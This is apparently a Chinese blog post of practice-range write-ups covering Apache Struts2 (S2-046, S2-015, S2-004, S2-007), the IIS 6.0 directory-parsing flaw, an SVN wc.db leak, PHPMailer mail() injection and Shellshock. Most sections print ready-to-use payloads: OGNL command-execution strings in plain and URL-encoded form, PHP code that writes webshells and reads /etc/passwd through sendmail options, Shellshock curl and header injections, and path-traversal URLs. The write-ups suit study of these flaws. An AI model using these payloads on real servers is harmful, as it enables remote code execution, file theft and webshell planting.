Apache Struts2 | iis6.0的漏洞--目录解析漏洞 | SVN信息泄露漏洞分析 | Bash漏洞分析溯源

Apache Struts2远程代码执行漏洞(S2-046)

访问了是个很高级的页面
在这里插入图片描述
访问:

${#a=new java.lang.ProcessBuilder(new java.lang.String[]{"ls","/"}).start().getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#screen=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#screen.println(#d),#screen.close()}
`url/index.action?redirect:%24%7b%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%5b%5d%7b%27%6c%73%27%2c%27%2f%27%7d%29%29%2e%73%74%61%72%74%28%29%2c%23%62%3d%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6d%61%74%74%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%23%65%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29%7d`

下载了一个index.action,打开:
在这里插入图片描述
有一个key.txt
使用:cat key.txt 打开

?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','key.txt'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

进行url编码得到:

url/index.action?redirect:%24%7b%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%5b%5d%7b%27%63%61%74%27%2c%27%6b%65%79%2e%74%78%74%27%7d%29%29%2e%73%74%61%72%74%28%29%2c%23%62%3d%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6d%61%74%74%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%23%65%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6d%61%74%74%2e

得到flag;
当然也可以使用工具:struts2
在这里插入图片描述
执行命令 cat key.txt
在这里插入图片描述

Apache Struts2远程代码执行漏洞(S2-015)

先上工具扫一下,好的,又扫出来了
在这里插入图片描述
手动来一下:

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream()),#q}.action

编码之后再访问,之后cat key.txt;

内部文件上传系统漏洞分析溯源(iis6.0的漏洞--目录解析漏洞)
首先进去是这样子,感觉好像很简单,就随便上传一个php文件

在这里插入图片描述
然后意料之中的不被允许;
尝试了几次对php文件上传的绕过,发现不行,才发现别人是asp

在这里插入图片描述
尝试上传asp文件,发现也不行
图片文件可以,txt文件也可以
抓包回包之后发现服务器是IIS6.0:
在这里插入图片描述
垃圾ring才知道iis6.0的漏洞:
文件or目录解析漏洞
详情可参见:

https://www.cnblogs.com/milantgh/p/4347520.html

对于目录解析漏洞的利用是:
如果不存在waf,可以直接通过构造/xx.asp目录来进行上传asp文件,在xx.asp文件下,不管什么文件都会被认为是.asp文件
如果存在waf,可以通过使用图片木马的方式来进行上传;

对于文件上传漏洞的利用:
文件上传验证程序,IDS、WAF 等等,应用程序在验证文件后缀的时候是验证文件名最后的字串,如:1.asp;2.jpg,是图片,但是在IIS6.0里解析的时候,是忽略掉分号后面的字串,直接解析为1.asp
所以,我们可以直接上传1.asp.jpg文件,这样的文件在应用文件程序是被认作是图片,但是在iis6.0中被认为是.asp文件

经过测试,这道题并不是文件上传漏洞,尝试利用目录解析漏洞
我们将我们的asp文件进行重命名,将后缀改为.txt文件,然后进行抓包的更改,在这里插入图片描述
可以看见已经上传成功;
在这里插入图片描述
然后进行中国菜刀的连接,key在wwwrot的key.asp里面;

3.SVN信息泄露漏洞分析(svn默认生成/.svn/wc.db文件)
url/.svn/wc.db

下载之后查找key,得到key is here.php

4.PHPMailer远程命令执行漏洞溯源(php mail()函数的任意文件读取和写入漏洞)

在这里插入图片描述
进去是一个看起来很好看的界面,虽然上面有各种按钮可点,但是都没什么用;
所以扫目录:

在这里插入图片描述
前三个都没什么用,但是最后那个mail.php就很有用了;
点进去是这样的:
在这里插入图片描述
先随便走一下流程
发现这三个对输入没上面限制;但它不会返回文件路径,emmm,不知道该怎么办
直到看来大佬wp,原来,可以在your email进行小马的构造
在这里要涉及到php的邮件漏洞:
参考:

https://cloud.tencent.com/developer/article/1437546

mail()函数:
在这里插入图片描述
漏洞:
mail函数是调用linux的sendmail程序来发送邮件,存在三个额外参数:
-X logfile :指定一个文件来记录邮件发送的详细日志。
-C file:临时加载一个配置文件(可以读文件)。
-O option=value :临时设置一个邮件储存的临时位置。

比如:

任意文件写入

<?php$to = 'a@b.c';$subject = '<?php system("whoami"); ?>';$message = '<?php system("ls");?>';$headers = '';$options = '-f lihuaiqiu@1 -OQueueDirectory=/tmp/ -X/root/1.php';mail($to, $subject, $message, $headers, $options);?>

实际上是:

/usr/bin/sendmail-t-i-f lihuaiqiu@1-OQueueDirectory=/tmp/-X/root/1.php

任意文件读取:

<?php$to = 'a@b.c';$subject = '<?php system("whoami"); ?>';$message = '<?php system("ls");?>';$headers = '';$options = '-f lihuaiqiu@1 -C/etc/passwd -X/root/1.php';mail($to, $subject, $message, $headers, $options);?>

实际命令:

/usr/bin/sendmail-t-i-f lihuaiqiu@1-C/etc/passwd-X/root/1.php

所以,现在我们需要一个文件来存放一个一句话木马,从而拿到shell;
因此我们就需要采取上面的任意写入文件
在youremail,根据上面的格式写:

 "ring". -OQueueDirectory=/tmp/. -X/var/www/html/a.php @ ring.com 

之后在your message里面写入一句话木马,直接访问/a.php
在这里插入图片描述
之后中国菜刀连接,找到key,结束;

5.Bash漏洞分析溯源(cgi-bin pc.cgi bash漏洞)
bash远程可执行漏洞 使用此命令来判断是否存在漏洞
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果返回显示有“vulnerable” ,则表示存在漏洞,如果没有,则表示没有漏洞。
bash可以将外壳变量,外壳函数导出为环境变量;
(){ 为开头的字符串作为环境变量的值来将函数导出为环境变量;
bash脚本在解析某些特殊字符时由于逻辑错误可以执行后面的命令
详情参见

https://blog.csdn.net/qq_42357070/article/details/83000415
https://www.jianshu.com/p/dab100a8105f

首先:
1.破壳漏洞,由bash cgi 产生
2.通常cgi目录为cgi-bin,破壳漏洞的源文件名一般为pc.cgi
利用方法:
一般可以使用curl或者抓包构造Connection来传参
1.curl:

curl -A '() { :; }; echo -e "\r\n";/bin/cat ../../../key.txt' http://219.153.49.228:41148//cgi-bin/poc.cgi

注意

()和{ :; }之间有一个空格,{与:之间有一个空格,;与}之间有一个空格

curl的用法大全参见:

https://man.linuxde.net/curl

url -A 是使用用户代理发送给服务器
使用bash创建了一个名为空的环境变量,并赋值为:() { :;};

这次实验漏洞的利用需要在闭合函数之后立即输出一个换行,用echo;或echo -e “\r\n”;,否则会报错
换行之后接/bin/cat 或者/bin/ls 来遍历文件夹、查看key,这里使用的是/bin/cat,挨着挨着ls即可找到key.txt
1.
在这里插入图片描述
2.
在这里插入图片描述
3.
在这里插入图片描述
4.
在这里插入图片描述
2.抓包:

Connection: () { :;}; echo; /bin/bash -c 'cat /key.txt'

bash -c:
用法:bash -c “cmd string”
通常使用shell去运行脚本,两种方法 bash xxx.sh,另外一种就是bash -c "cmd string"

详情参见

https://www.jianshu.com/p/198d819d24d1

在这里插入图片描述

6.Apache Struts2远程代码执行漏洞(S2-004)
经典漏洞:**s2-004 是一个目录遍历漏洞 我们对…/ 进行二次编码之后可以去越权访问敏感数据** ../进行二次编码后得到..%252F 所以:
url/struts/..%252f

得到一个showcase,不知道什么玩意,可能有用,先留着;
在这里插入图片描述
继续向上层目录遍历:

url/struts/..%252f..%252f

得到apache
继续,到第六个的时候,出现:
在这里插入图片描述
访问showcase.jsp,得到flag;

/struts/..%252f..%252f..%252f..%252f..%252f..%252fshowcase.jsp
7.Apache Struts2远程代码执行漏洞(S2-007)
百度这个漏洞,发现当提交表单中变量的类型出现错误时,进行了错误的字符串拼接,后端会执行OGNL表达式。 OGNL表达式: OGNL表达式中有三种符号,分别是#、%和$,但是常用的也就是#符号,%和$两种并不常用,只是在特殊情况下会使用。 %符号是在标志的属性为字符串类型时,计算OGNL表达式的值。 详情参见:

https://blog.csdn.net/kbeanwu/article/details/6061942

先使用:

%{1+1}

判断哪个框存在漏洞
在这里插入图片描述
年龄框报错了,猜测可能是这个
输入:'+(1+1)+',看它是否能执行命令
的确被执行了,说明是年龄这个框存在漏洞
百度漏洞利用方式:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls /').getInputStream())) + '

#_memberAccess[‘allowStaticMethodAccess’]’)=true,设置为true,允许通过地址栏执行方法
在这里插入图片描述
可以看见,存在回显,f12得到:
在这里插入图片描述
可以看见,存在key.txt,cat /key.txt

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /key.txt').getInputStream())) + '

得到flag;

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值